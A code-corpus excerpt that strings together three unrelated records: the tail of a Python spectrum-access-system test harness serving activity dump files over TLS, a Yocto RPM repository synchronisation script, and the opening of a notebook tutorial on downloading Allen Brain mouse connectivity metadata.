self.http_server_url = 'https://' + host_name + ':' + str(port) + '/' + self.sas_version\n self.dump_path = self.__generateTempDirectory()\n self.cert_file = cert_file if cert_file is not None else DEFAULT_CERT_FILE\n self.key_file = key_file if key_file is not None else DEFAULT_KEY_FILE\n self.ca_cert_file = ca_cert_file if ca_cert_file is not None else DEFAULT_CA_CERT\n self.setDaemon(True)\n self.server = SasHttpServer(\n self.dump_path,\n (self.host_name, self.port),\n SasTestHarnessServerHandler,\n self.getSasTestHarnessVersion(),\n )\n self.server.socket = ssl.wrap_socket(\n self.server.socket,\n certfile=self.cert_file,\n keyfile=self.key_file,\n ca_certs=self.ca_cert_file,\n cert_reqs=ssl.CERT_REQUIRED,\n ssl_version=ssl.PROTOCOL_TLSv1_2,\n ciphers=':'.join(CIPHERS),\n server_side=True)\n\n def __del__(self):\n self.cleanDumpFiles()\n\n def __generateTempDirectory(self):\n \"\"\" This method will generate a random directory using the current timestamp.\n\n The relative path of the directory is\n ./SAS-Test-Harness-Data/YYYY-MM-DD-HH-MM-SS-mmmmmm.\n\n Returns: Returns the absolute path of the created temporary directory.\n \"\"\"\n sas_test_harness_data_dir = os.path.join(os.path.dirname(os.path.abspath(\n inspect.getfile(inspect.currentframe()))), 'SAS-Test-Harness-Data')\n current_time_stamp = datetime.now().strftime('%Y-%m-%d_%H-%M-%S-%f')\n temp_dump_dir_path = os.path.join(sas_test_harness_data_dir, current_time_stamp)\n os.makedirs(temp_dump_dir_path)\n\n return temp_dump_dir_path\n\n def getSasTestHarnessVersion(self):\n \"\"\"This method retrieves the SAS Test Harness Version from sas.cfg.\n Returns: Returns SAS version of the SAS Test Harness to be used\n to construct the base URL.\n \"\"\"\n config_parser = ConfigParser.RawConfigParser()\n config_parser.read(['sas.cfg'])\n sas_harness_version = config_parser.get('SasConfig', 'Version')\n return sas_harness_version\n\n def getBaseUrl(self):\n return self.http_server_url\n\n def getDumpFilePath(self):\n return self.dump_path\n\n def getSasTestHarnessInterface(self):\n return SasTestHarnessInterface(self.getBaseUrl(),\n self.getSasTestHarnessVersion())\n\n def run(self):\n \"\"\" Starts the HTTPServer as background thread.\n The run() method is an overridden method from thread class and it gets invoked\n when the thread is started using thread.start().\n \"\"\"\n logging.info('Started Test Harness Server:%s at %s', self.name, self.http_server_url)\n self.server.serve_forever()\n\n def shutdown(self):\n \"\"\"This method is used to stop HTTPServer Socket.\"\"\"\n self.server.shutdown()\n logging.info('Stopped Test Harness Server:%s', self.name)\n\n\n def cleanDumpFiles(self):\n \"\"\"Clean existing dumpfile if any.\"\"\"\n temp_dir_path = self.getDumpFilePath()\n map(os.remove, (os.path.join(temp_dir_path, file_path)\n for file_path in os.listdir(temp_dir_path)\n if os.path.exists(os.path.join(temp_dir_path, file_path))))\n os.rmdir(temp_dir_path)\n logging.info('all dump records generated by this testcase are cleaned successfully')\n\n def __createFadObject(self, all_activity_dump):\n \"\"\"Creates the FAD object format and embed the active dump file object of different recordtype.\n \"\"\"\n full_activity_dump = {}\n full_activity_dump['files'] = all_activity_dump\n end_time = time.strftime(datetime.now().replace(microsecond=0).isoformat()) + 'Z'\n full_activity_dump['generationDateTime'] = end_time\n full_activity_dump['description'] = 'Load {} FAD to SAS UUT'.format(self.host_name)\n return full_activity_dump\n\n def __createFadRecord(self, encoded_url, record):\n \"\"\" Creates the files object that includes url,checksum,size,version and recordtype of record\n required to be packed in FAD.\n \"\"\"\n fad_record = {}\n fad_record['url'] = encoded_url\n fad_record['checksum'] = hashlib.sha1(json.dumps(record)).hexdigest()\n fad_record['size'] = sys.getsizeof(record)\n fad_record['version'] = self.sas_version\n if 'cbsd' in encoded_url:\n fad_record['recordType'] = 'cbsd'\n elif 'zone' in encoded_url:\n fad_record['recordType'] = 'zone'\n elif 'esc_sensor' in encoded_url:\n fad_record['recordType'] = 'esc_sensor'\n else:\n raise Exception('ConfigurationError:: Incorrect Record Type received in URL:{}'.format(encoded_url))\n return fad_record\n\n def __writeDumpFile(self, file_name, data):\n \"\"\" Write JSON data to specified file. \"\"\"\n dump_file_path = os.path.join(self.getDumpFilePath(), file_name)\n with open(dump_file_path, 'w') as file_handler:\n file_handler.writelines(json.dumps(data, sort_keys=True, indent=4))\n\n def __verifyRecords(self, dump_records_list):\n \"\"\"This method checks if given dump records [cbsd1,..,cbsdN] or\n [pp1,..,ppaN] or [esc1,..,escN] is grouped with same record type\n by using id field.\n Args:\n dump_records_list: List of dump_records object. Contains dump records\n in the format of [[cbsd1,..,cbsdn],[cbsda,..,cbsdc],\n [pp1,..,ppa3],[esc1,..,esc3]]\"\"\"\n\n for index, dump_records in enumerate(dump_records_list):\n if len(dump_records) == 0:\n raise Exception('ConfigurationError:No records are configured')\n\n if not dump_records[0].has_key('id'):\n raise Exception('ConfigurationError:Id field is not configured')\n\n if 'cbsd' in dump_records[0]['id']:\n if any('cbsd' not in cbsd_dump['id'] for cbsd_dump in dump_records):\n raise Exception('ConfigurationError:CBSD dump records are not of same type')\n elif 'zone' in dump_records[0]['id']:\n if any('zone' not in zone_dump['id'] for zone_dump in dump_records):\n raise Exception('ConfigurationError:Zone dump records are not of same type')\n elif 'esc_sensor' in dump_records[0]['id']:\n if any('esc_sensor' not in esc_dump['id'] for esc_dump in dump_records):\n raise Exception('ConfigurationError:ESC dump records are not of same type')\n else:\n raise Exception('ConfigurationError:incorrect record type. \\\n Unable to write FAD record')\n\n def writeFadRecords(self, dump_records_list):\n \"\"\"This method is used to write dump records in specified path.\n These files will be served by SAS Test Harness.\n Args:\n dump_records_list: List of dump_records object required to\n be written on the dump path. Contains dump records in the format of\n [[cbsd1,..,cbsdn],[cbsda,..,cbsdc],[pp1,..,ppa3],[esc1,..,esc3]]\n In this case four dump files will be created\n activity_dump_file_cbsd0.json - contains 1-n cbsd records\n activity_dump_file_cbsd1.json - contains a-c cbsd records\n activity_dump_file_zone2.json - contains 1-3 ppa records\n activity_dump_file_esc_sensor3.json - contains 1-3 esc records\n\n Returns:\n It returns None and all records are dumped in specified path.\"\"\"\n\n fad_record_list = []\n\n self.__verifyRecords(dump_records_list)\n\n for index, dump_records in enumerate(dump_records_list):\n if 'cbsd' in dump_records[0]['id']:\n generated_file_name = 'activity_dump_file_cbsd'+str(index)+'.json'\n record_url = self.getBaseUrl() +'/cbsd/'+ generated_file_name\n elif 'zone' in dump_records[0]['id']:\n generated_file_name = 'activity_dump_file_zone'+str(index)+'.json'\n record_url = self.getBaseUrl() +'/zone/'+ generated_file_name\n elif 'esc_sensor' in dump_records[0]['id']:\n generated_file_name = 'activity_dump_file_esc_sensor'+str(index)+'.json'\n record_url = self.getBaseUrl() +'/esc_sensor/'+ generated_file_name\n else:\n raise Exception('ConfigurationError:incorrect record type. \\\n Unable to write FAD record')\n # creates the dump file containing records of the same type\n self.__writeDumpFile(generated_file_name, dump_records)\n fad_record = self.__createFadRecord(record_url, dump_records)\n fad_record_list.append(fad_record)\n\n # create full activity dump file\n fad_file_name = 'FAD.json'\n full_activity_dump = self.__createFadObject(fad_record_list)\n self.__writeDumpFile(fad_file_name, full_activity_dump)\n self.server.setFadGenerationTime(datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'))\n logging.info('FAD Records generated successfully.'\n 'The files are placed under the path:%s', self.getDumpFilePath())\n\n\nclass SasHttpServer(HTTPServer):\n \"\"\" The class SasHttpServer overrides built-in HTTPServer and takes the\n parameter base_path used to serve the files. This is needed to have SAS\n test harnesses to server files from different directories.\n \"\"\"\n def __init__(self, base_path, server_address, RequestHandlerClass,\n version_number):\n self.base_path = base_path\n self.version_number = version_number\n HTTPServer.__init__(self, server_address, RequestHandlerClass)\n\n def setFadGenerationTime(self, fad_generation_time):\n self.fad_generation_time = fad_generation_time\n\nclass SasTestHarnessServerHandler(BaseHTTPRequestHandler):\n \"\"\"SasTestHarnessServerHandler class is inherited with BaseHTTPRequestHandler\n to serve HTTP Response.\n \"\"\"\n\n def __checkDumpFileExist(self, url_id):\n \"\"\"Check the url_id received in GET request passed as argument to check corresponding\n dump file exist in that path.\n \"\"\"\n return os.path.exists(os.path.join(self.server.base_path, url_id))\n\n def __getDumpFilePath(self, url_id):\n \"\"\" Return the absolute path of FAD records that are going\n to be generated.\n \"\"\"\n return os.path.join(self.server.base_path, url_id)\n\n def do_GET(self):\n \"\"\"Handles Pull/GET Request and returns Path of the Request to callback Method.\"\"\"\n if '/%s/dump' % self.server.version_number == self.path:\n with open(self.__getDumpFilePath('FAD.json')) as dump_dict:\n self.send_response(200)\n self.send_header('Content-type', 'application/json')\n self.end_headers()\n full_activity_dump_message = json.load(dump_dict)\n full_activity_dump_message['generationDateTime'] = self.server.fad_generation_time\n self.wfile.write(json.dumps(full_activity_dump_message).encode('utf-8'))\n else:\n url_encoded_id = self.path.split('/')[-1]\n if not self.__checkDumpFileExist(url_encoded_id):\n self.send_error(404)\n return\n with open(self.__getDumpFilePath(url_encoded_id)) as dump_file:\n self.send_response(200)\n self.send_header('Content-type', 'application/json')\n self.end_headers()\n self.wfile.write(\n json.dumps({\n 'startTime':\n self.server.fad_generation_time,\n 'endTime':\n self.server.fad_generation_time,\n 'recordData':\n json.load(dump_file)\n }).encode('utf-8'))\n\n# Helper functions for FAD related tests.\ndef generateCbsdReferenceId(fcc_id, serial_number):\n \"\"\"creates encoded cbsd_reference_id using sha1 with fcc_id and serial number of cbsd.\n \"\"\"\n return str('cbsd/' + fcc_id + '/' + str(hashlib.sha1(serial_number).hexdigest())).encode('utf-8')\n\ndef generateCbsdRecords(registration_requests, grant_requests_list):\n \"\"\" Generates the cbsdData Object by combining registration request\n and grant request based on SAS-SAS TS.\n Args:\n registration_requests: List of CBSD registration requests. Corresponding\n CBSDs will have at least one corresponding Grant request\n grant_requests_list: List of muliple grant requests for all cbsd devices.\n For an example : muliple grants [ [grant1, grant2],\n [grant3, grant4 ] are associated with each cbsd records\n [ cbsd1, cbsd2 ].\n\n Returns:\n It returns list of CbsdData object based on SAS-SAS TS.\n \"\"\"\n\n cbsd_records_list = []\n if not len(registration_requests) == len(grant_requests_list):\n raise Exception('ConfigurationError: Number of registration requests does'\n ' not match with number of grant requests')\n\n if any(len(grant_requests) == 0 for grant_requests in grant_requests_list):\n raise Exception('ConfigurationError: At least one of the grant request list is empty')\n\n for index, (registration_request, grant_requests) in enumerate \\\n (zip(registration_requests, grant_requests_list)):\n cbsd_reference_id = generateCbsdReferenceId(registration_request['fccId'],\n registration_request['cbsdSerialNumber'])\n\n internal_data = {\n 'id': cbsd_reference_id,\n 'registration': {\n 'fccId': registration_request['fccId'],\n 'cbsdCategory': registration_request['cbsdCategory'],\n 'callSign': registration_request['callSign'],\n 'airInterface': registration_request['airInterface'],\n 'measCapability': registration_request['measCapability'],\n 'installationParam': registration_request['installationParam']\n }\n }\n\n # Check if groupingParam optional parameter present in CBSDRecord then\n # add to registration object.\n if registration_request.has_key('groupingParam'):\n internal_data['registration'].update({'groupingParam':\n registration_request['groupingParam']})\n\n internal_data['grants'] = []\n\n # Read all grant records if mulitiple grant records are associated with\n # single cbsd.\n for grant_request in grant_requests:\n grant_data = {}\n\n # Auto-generating GrantData 'id' field.\n grant_data['id'] = 'SAMPLE_ID_{:05}'.format(random.randrange(1, 10 ** 5))\n\n assert grant_request.has_key('operationParam'), 'operationParam does not exist in GrantRequest'\n grant_data['operationParam'] = grant_request['operationParam']\n\n # requestedOperationParam is a required field in SAS-SAS exchange in Release 1.\n # Copying the operationParam into requestedOperationParam\n grant_data['requestedOperationParam'] = grant_request['operationParam']\n\n # Channel type is mandatory in GrantData Object.\n # Setting it to 'GAA' by default.\n grant_data['channelType'] = 'GAA'\n\n # Assign grant_expire_time to grant objects.\n grant_time_stamp = datetime.now().today() + timedelta(days=2*365)\n grant_expire_time = time.strftime(grant_time_stamp.\\\n replace(microsecond=0).isoformat()) + 'Z'\n\n # grantExpireTime is mandatory in GrantData Object.\n # Setting it to a value of 24 hours from now.\n grant_data['grantExpireTime'] = grant_expire_time\n\n # 'terminated' field is set to 'False' by default.\n grant_data['terminated'] = False\n\n internal_data['grants'].append(grant_data)\n\n cbsd_records_list.append(internal_data)\n\n return cbsd_records_list\n\ndef generatePpaRecords(ppa_records, cbsd_reference_ids):\n \"\"\" Generates the ppaData by adding cbsd_reference_id list to ppa_info\n based on SAS-SAS TS.\n\n Args:\n ppa_records: List of ppa_record objects used to generate ppa_dump file.\n cbsd_reference_ids: List of lists containing one or more CBSD Reference\n IDs in the cluster for each PPA record.\n Returns:\n It returns list of ppa_records based on SAS-SAS TS.\n \"\"\"\n\n ppa_records_list = []\n for ppa_record, cbsd_reference_id in \\\n zip(ppa_records, cbsd_reference_ids):\n\n # Check cbsdReferenceID in ppaInfo and add cbsdReferenceID if not present.\n if not ppa_record['ppaInfo'].has_key('cbsdReferenceId'):\n ppa_record['ppaInfo'].update({'cbsdReferenceId': cbsd_reference_id})\n ppa_records_list.append(ppa_record)\n\n return ppa_records_list\n\nclass SasTestHarnessInterface(sas_interface.SasInterface):\n \"\"\"Interfaces provides access to the test harness the same as the SAS UUT.\"\"\"\n\n def __init__(self, base_url, sas_version):\n self._base_url = base_url\n self._sas_version = sas_version\n self._tls_config = TlsConfig()\n\n def Registration(self, request, ssl_cert=None, ssl_key=None):\n raise NotImplementedError('TestHarness does not support Registration')\n\n def SpectrumInquiry(self, request, ssl_cert=None, ssl_key=None):\n raise NotImplementedError('TestHarness does not support SpectrumInquiry')\n\n def Grant(self, request, ssl_cert=None, ssl_key=None):\n raise NotImplementedError('TestHarness does not support Grant')\n\n def Heartbeat(self, request, ssl_cert=None, ssl_key=None):\n raise NotImplementedError('TestHarness does not support Heartbeat')\n\n def Relinquishment(self, request, ssl_cert=None, ssl_key=None):\n raise NotImplementedError('TestHarness does not support Relinquishment')\n\n def Deregistration(self, request, ssl_cert=None, ssl_key=None):\n raise NotImplementedError('TestHarness does not support Deregistration')\n\n def GetEscSensorRecord(self, request, ssl_cert=None, ssl_key=None):\n raise NotImplementedError('TestHarness does not support GetEscSensorRecord')\n\n def GetFullActivityDump(self, ssl_cert=None, ssl_key=None):\n return RequestGet('%s/%s' % (self._base_url, 'dump'),\n self._tls_config.WithClientCertificate(ssl_cert, ssl_key))\n\n def DownloadFile(self, url, ssl_cert=None, ssl_key=None):\n return RequestGet(url,\n self._tls_config.WithClientCertificate(ssl_cert, ssl_key))\n","sub_path":"src/harness/sas_test_harness.py","file_name":"sas_test_harness.py","file_ext":"py","file_size_in_byte":21157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"281283528","text":"#!/usr/bin/python3\n\nimport argparse\nimport os\nimport shutil\nimport subprocess\nimport shlex\nimport re\n\nglobal VERBOSE\nVERBOSE=False\n\nglobal ERASE_LINE\nERASE_LINE = '\\x1b[2K'\n\nglobal pattern_rpm\n#Regular expression for parsing a RPM file name.\npattern_rpm = re.compile(r'^([\\w\\.\\-\\+]*)\\-([\\w\\.\\-\\+]*)\\-([\\w\\.]*)\\.(\\w*).rpm')\n\ndef checkDir(aPath):\n if not os.path.isdir(aPath):\n print(\"path \",aPath,\" is not a valid directory\")\n exit(1)\n\nclass Package:\n def __init__(self, fullname, directory=None, repoName=None, archDir=None):\n searchRes=pattern_rpm.search(fullname)\n\n if searchRes is None:\n print(\"ERROR: The file %s is not a rpm format file\" % fullname)\n else:\n result=searchRes.groups()\n self.__name=result[0]\n self.__version=result[1]\n self.__revision=result[2]\n self.__arch=result[3]\n\n self.__repoName=repoName\n self.__archDir=archDir\n\n self.__fullpath=None\n self.__srcpkg=None\n\n if directory is not None:\n self.__fullpath=os.path.join(directory, fullname)\n srcName=self.__find_package_source()\n if srcName is None:\n print(\"ERROR: can't find src package for %s\" % fullname)\n else:\n self.__srcpkg=Package(srcName)\n\n #We need to find source package name of a rpm file\n def __find_package_source(self):\n #Use a subprocess is not the most efficiant, need to be optimized\n cmd_findsrc=\"rpm -q -p --queryformat %%{SOURCERPM} %s\" % (self.__fullpath)\n args = shlex.split(cmd_findsrc)\n res=subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n if res.returncode == 0 :\n return res.stdout.decode('utf8')\n else:\n return None\n\n def getName(self):\n return self.__name\n\n def getRpmPath(self):\n return self.__fullpath\n\n def getVersion(self):\n return self.__version\n\n def getSrcName(self):\n return self.__srcpkg.getName()\n\n def copyRPM(self, destDir):\n dstFileDir=os.path.join(destDir, self.__repoName, self.__archDir)\n if not os.path.exists(dstFileDir):\n os.makedirs(dstFileDir)\n\n fullname=\"%s-%s-%s.%s.rpm\" %(self.__name, self.__version, self.__revision, self.__arch)\n dstFile=os.path.join(dstFileDir, fullname)\n\n shutil.copyfile( self.__fullpath, dstFile)\n\n def removeRPM(self):\n os.remove(self.__fullpath)\n\n #Compare two rpm file and find if some real binary difference exist (like rpm-check.sh)\n def checkIfUpdateIsNeeded(self, dstFile):\n cmd_check_diff=\"pkg-diff.sh %s %s\" % (self.__fullpath, dstFile)\n args = shlex.split(cmd_check_diff)\n res=subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n if res.returncode == 0 :\n return False\n else:\n return True\n\n def updateRevision(self):\n if self.__revision.startswith(\"r\"):\n rawRev=self.__revision[1:].split(\".\")\n try:\n rawRev[-1]=str(int(rawRev[-1])+1)\n except:\n print(\"ERROR: revision %s can't be incremented\" % ( self.__revision))\n exit(1)\n self.__revision=\"r\"+\".\".join(rawRev)\n else:\n #Only yocto package revision start with a \"r\"\n print(\"ERROR: Unknow format for revision\" % self.__revision)\n exit(1)\n\n def getRevision(self):\n return self.__revision\n\n def setRevision(self, revision):\n self.__revision=revision\n\nclass PackageSource:\n def __init__(self):\n #All the binaries rpm comming from this source\n self.__binPackage=[]\n self.needUpdateRevision=False\n self.newPkg=False\n\n def appendPkg(self,package):\n self.__binPackage.append(package)\n\n def copyRPM(self, destDir):\n for pkg in self.__binPackage:\n pkg.copyRPM(destDir)\n\n def getPackages(self):\n return self.__binPackage\n\n def getPackage(self, name):\n for pkg in self.__binPackage:\n if pkg.getName() == name:\n return pkg\n return None\n\n def getListPackages(self):\n listPkg=[]\n for pkg in self.__binPackage:\n listPkg.append(pkg.getName())\n return listPkg\n\n def updateRevision(self):\n for pkg in self.__binPackage:\n pkg.updateRevision()\n\n def setRevision(self,revision):\n for pkg in self.__binPackage:\n pkg.setRevision(revision)\n\n def getRevision(self):\n revision=None\n #All binaries package should have the same revision\n #Need to be improve, with a cache may be\n for pkg in self.__binPackage:\n r=pkg.getRevision()\n\n if revision is None:\n revision=r\n elif revision != r:\n print(\"WARNING: package %s have a revision %s.\" % (pkg.getName(),revision))\n\n return revision\n\n def removeRPM(self):\n #Clean repository\n #Should only be used for destination\n for pkg in self.__binPackage:\n pkg.removeRPM()\n\nclass RepositoriesSynchronizer:\n def __init__(self, inputdir, outputdir, reponame, outputAuxilaire=[], lockOutputAuxilaire=True, removeUnused=False):\n self.__inputdir=inputdir\n self.__outputdir=outputdir\n self.__reponame=reponame\n self.__destdir=reponame\n\n checkDir(self.__inputdir)\n checkDir(self.__outputdir)\n self.__destdir=os.path.join(self.__outputdir, self.__reponame)\n\n self.__dicoNewPackageSource={}\n self.__dicoRepoPackageSource={}\n\n def __scanInputRPM(self):\n listArchDir=os.listdir( self.__inputdir)\n #The rpm files are store two level after the input dir directory\n for archDir in listArchDir:\n #We need to separate cross compile packages and SDK packages\n if \"sdk\" in archDir:\n repoName=\"nativesdk\"\n else:\n repoName=\"runtime\"\n fullPathDir=os.path.join(self.__inputdir, archDir)\n listNewRpm=os.listdir( fullPathDir)\n scnPkg=1\n totalPkg=len(listNewRpm)\n for newRpm in listNewRpm:\n if VERBOSE:\n b = \"Scan Input RPM in %s: %s/%s\" % (archDir, scnPkg, totalPkg)\n print (ERASE_LINE, end=\"\\r\")\n print (b, end=\"\\r\")\n scnPkg+=1\n newPackage=Package(newRpm, fullPathDir, repoName, archDir)\n if newPackage.getSrcName() not in self.__dicoNewPackageSource:\n self.__dicoNewPackageSource[newPackage.getSrcName()]=PackageSource()\n #Store binary rpm file by rpm src\n self.__dicoNewPackageSource[newPackage.getSrcName()].appendPkg(newPackage)\n if VERBOSE:\n print (ERASE_LINE, end=\"\\r\")\n if VERBOSE:\n print (ERASE_LINE, end=\"\\r\")\n print (\"Scan Input RPM done.\", end=\"\\n\")\n\n def __scanOutputRPM(self):\n #The rpm files are store two level after the input dir directory\n for repoName in [\"nativesdk\", \"runtime\"]:\n #We need to separate cross compile packages and SDK packages\n repoPath=os.path.join(self.__destdir, repoName)\n if os.path.exists(repoPath):\n listArchDir=os.listdir( repoPath )\n for archDir in listArchDir:\n #Black list repodata directory\n if archDir != \"repodata\":\n archDirPath=os.path.join(repoPath, archDir)\n if os.path.exists(archDirPath):\n listreporpm=os.listdir( archDirPath)\n scnPkg=0\n totalPkg=len(listreporpm)\n for rpmfile in listreporpm:\n if VERBOSE:\n b = \"Scan Output RPM in %s/%s: %s/%s\" % (repoName, archDir, scnPkg, totalPkg)\n print (ERASE_LINE, end=\"\\r\")\n print (b, end=\"\\r\")\n scnPkg+=1\n aPackage=Package(rpmfile, archDirPath, repoName, archDir)\n if aPackage.getSrcName() not in self.__dicoRepoPackageSource:\n self.__dicoRepoPackageSource[aPackage.getSrcName()]=PackageSource()\n self.__dicoRepoPackageSource[aPackage.getSrcName()].appendPkg(aPackage)\n if VERBOSE:\n print (ERASE_LINE, end=\"\\r\")\n if VERBOSE:\n print (ERASE_LINE, end=\"\\r\")\n print (\"Scan Input RPM done.\", end=\"\\n\")\n\n def __checkRPM2Update(self):\n scnPkg=1\n totalPkg=len( self.__dicoNewPackageSource)\n listUpdatedPkg=[]\n for newpkg in self.__dicoNewPackageSource:\n if VERBOSE:\n b = \"Check update RPM %s %s/%s\" % ( newpkg, scnPkg, totalPkg)\n print (ERASE_LINE, end=\"\\r\")\n print (b, end=\"\\r\")\n scnPkg+=1\n #If the package source is not in the soutput reposutory, it's a new package\n if newpkg in self.__dicoRepoPackageSource:\n #Compare all the binaries files of the package source\n self.__comparePackages(self.__dicoNewPackageSource[newpkg], self.__dicoRepoPackageSource[newpkg], self.__destdir)\n if self.__dicoNewPackageSource[newpkg].needUpdateRevision:\n #Update all binaries files revision\n self.__dicoRepoPackageSource[newpkg].updateRevision()\n self.__dicoNewPackageSource[newpkg].setRevision(self.__dicoRepoPackageSource[newpkg].getRevision())\n self.__dicoRepoPackageSource[newpkg].removeRPM()\n else:\n self.__dicoNewPackageSource[newpkg].newPkg = True\n\n if self.__dicoNewPackageSource[newpkg].newPkg or self.__dicoNewPackageSource[newpkg].needUpdateRevision:\n self.__dicoNewPackageSource[newpkg].copyRPM(self.__destdir)\n\n listUpdatedPkg.append(newpkg)\n if VERBOSE:\n print (ERASE_LINE, end=\"\\r\")\n if VERBOSE and len(listUpdatedPkg) > 0:\n if len(listUpdatedPkg) < 50:\n print (\"Updated packages:\")\n for Updatedpkg in listUpdatedPkg:\n print (\"\\t%s\" % Updatedpkg)\n else:\n print (\"Updated %s packages\" % len(listUpdatedPkg))\n\n\n def __comparePackages(self, newPackageSource, repoPackageSource, destDir):\n for newPackage in newPackageSource.getPackages():\n if newPackage.getName() not in repoPackageSource.getListPackages():\n newPackageSource.needUpdateRevision=True\n break\n repoPackage=repoPackageSource.getPackage(newPackage.getName())\n if newPackage.getVersion() != repoPackage.getVersion() or newPackage.checkIfUpdateIsNeeded(repoPackage.getRpmPath()):\n newPackageSource.needUpdateRevision=True\n break\n\n def __checkDeprecatedRPM(self):\n newPkg=set(self.__dicoNewPackageSource)\n oldPkg=set(self.__dicoRepoPackageSource)\n deprecatedPkg=oldPkg.difference(newPkg)\n if VERBOSE and len(deprecatedPkg) > 0:\n if len(deprecatedPkg) < 50:\n print (\"Deprecated packages:\")\n for pkg in deprecatedPkg:\n print (\"\\t%s\" % pkg)\n else:\n print (\"%s Deprecated packages\" % len(deprecatedPkg))\n\n def syncRepository(self):\n if VERBOSE:\n print(\"Start repositories synchronisation\")\n self.__scanInputRPM()\n if VERBOSE:\n print(\"Scan input repository done\")\n self.__scanOutputRPM()\n if VERBOSE:\n print(\"Scan output repositories done\")\n self.__checkRPM2Update()\n if VERBOSE:\n print(\"Check for update needed done\")\n self.__checkDeprecatedRPM()\n if VERBOSE:\n print(\"Check Deprecated done\")\n self.createRepos(self.__destdir)\n if VERBOSE:\n print(\"Create output repositories done\")\n\n def syncRpmFile(self, srcArchDir, destArchDir):\n listNewRpm=os.listdir( srcArchDir)\n\n dicoNewPackage={}\n\n if VERBOSE:\n print(\"Update rpm\")\n\n for newRpm in listNewRpm:\n srcFile=os.path.join(srcArchDir, newRpm)\n dstFile=os.path.join(destArchDir, newRpm)\n if newRpm not in listOldRpm:\n shutil.copyfile( srcFile, dstFile)\n else:\n updateRpmFile(srcFile,dstFile)\n\n def createRepos(self, destDir):\n listDirRepo = os.listdir( destDir)\n for dirRepo in listDirRepo:\n self.__createRepo( os.path.join( destDir, dirRepo))\n\n def __createRepo(self, destDir):\n cmd_repo=\"createrepo_c %s\" % (destDir)\n args = shlex.split(cmd_repo)\n subRes=subprocess.check_output(args)\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-v\", \"--verbose\", help=\"increase output verbosity\", action=\"store_true\")\n parser.add_argument(\"-i\", \"--input\", help=\"yocto rpm sources\")\n parser.add_argument(\"-o\", \"--output\", help=\"RPM repository destination\")\n parser.add_argument(\"-a\", \"--output-auxilaire\", help=\"yocto repository auxiliary destination\", action='append')\n parser.add_argument(\"-l\", \"--lock-output-auxilaire\", help=\"Do not publish rpm to auxilaire Repositories\", action='store_true')\n parser.add_argument(\"-m\", \"--remove-unused\", help=\"remove unsed rpm during update\", action='store_false')\n parser.add_argument(\"-r\", \"--reponame\", help=\"repository destination\")\n\n args = parser.parse_args()\n\n if args.input is None:\n print(\"input file is empty\")\n exit(1)\n if args.output is None:\n print(\"output dir is empty\")\n exit(1)\n if args.reponame is None:\n print(\"reponame dir is empty\")\n exit(1)\n if args.verbose:\n global VERBOSE\n VERBOSE=True\n\n sr=RepositoriesSynchronizer(args.input, args.output, args.reponame, args.output_auxilaire, args.lock_output_auxilaire, args.remove_unused)\n sr.syncRepository()\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"meta-yomo/recipes-devtools/yocto-repo-manager/files/repo-manager.py","file_name":"repo-manager.py","file_ext":"py","file_size_in_byte":14512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"367558089","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Downloading Experimental Data \n\n# This section will serve as a turorial on how to access and downlaod experimental data from the Allen Brain Mouse Connectivity Atlas. In this tutorial you will learn to download metadata by transgenic line and by injection struture. You will also learn about the importance of structure sets as well as the StructureTree class. By the end of this tutorial you will be ready to use this downloaded data for possible analyses. \n\n# In[1]:\n\n\n# Import common packages\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nget_ipython().run_line_magic('matplotlib', 'inline')\nprint('Packages imported.')\n\n\n# To work with the connectivity data through the SDK, we first need to `import` the [MouseConnectivityCache class](https://alleninstitute.github.io/AllenSDK/connectivity.html). This module provides metadata about the mouse connectivty database and will enable us to work with the data.\n\n# In[2]:\n\n\n# Import the MouseConnectivityCache\nimport allensdk\nfrom allensdk.core.mouse_connectivity_cache import MouseConnectivityCache\n\n# Create an instance of the class and assign it to a variable, mcc\nmcc = MouseConnectivityCache(manifest_file='connectivity/mouse_connectivity_manifest.json')\nprint(mcc)\n\n\n# ## Download experimental metadata by transgenic line\n\n# Now that we have our instance of the mouse connectivity cache, we can start downloading our experimental metadata. To do this, we will call `get_experiments()` on our connectivity instance. We'll use the argument `dataframe=True` to automatically make this a dataframe when it is created. \n\n# In[3]:\n\n\n# Gather all the experiments with transgenic as well as wildtype mice\nmouse_exp_df = mcc.get_experiments(dataframe=True)\nmouse_exp_df.head()\n\n\n# This gives us metadata on all the expereiments in the dataset. Alternatively, you can specify within the method wether you would like to filter certain experiments by `transgenic_line`. Let's take a look at what trangenic lines are available to us. \n\n# In[4]:\n\n\ntransgenic_lines = mouse_exp_df['transgenic_line'].unique()\nprint(transgenic_lines)\n\n\n# Let's start by creating a dataframe that only contains experiments with the first three Cre lines in the list above *(Penk-IRES2-Cre-neo, Gabrr3-Cre_KC112, Hdc-Cre_IM1)*. You can change the Cre lines by changing the values in the list assigned to `transgenic_lines`. Remember to copy the Cre line of interest exactly, including the single quotes. We'll then use this list in the argument `cre = ` in our call to `get_experiments`.\n\n# In[5]:\n\n\n# Choose your Cre lines\ntransgenic_lines = ['Penk-IRES2-Cre-neo','Gabrr3-Cre_KC112','Hdc-Cre_IM1'] \n\n# Filter experiments from only the first 3 cre lines \ntransgenic_line_df = mcc.get_experiments(cre = transgenic_lines, dataframe=True)\n\n# Print the length of our dataframe \nprint('There are' + ' ' + str(len(transgenic_line_df)) + ' ' + 'experiments in these Cre lines: ' + str(transgenic_lines))\n\ntransgenic_line_df.head()\n\n\n# ## Download experimental metadata by injection structure \n\n# We can also filter out the experiments by the `injection_structure_ids`. If the IDs of the injection structures are already known, one can input the list of ID numbers to filter out the experiments as so:\n\n# In[6]:\n\n\n# Primary Motor Area experiments have ID 985\nMOp_df = mcc.get_experiments(injection_structure_ids = [985], dataframe=True)\nMOp_df.head()\n\n\n# ## Get structure IDs\n# \n# In order to use the `injection_structure_ids` argument above, you need the structure IDs. The MouseConnectivityCache has a method for retrieving the adult mouse structure tree as an StructureTree class instance. The StructureTree class has many methods that allows you to access lists of brain structures through their ID, name, acronym, and many other properties. This is done by executing the `get_structure_tree()` method on your MouseConnectivityCache instance 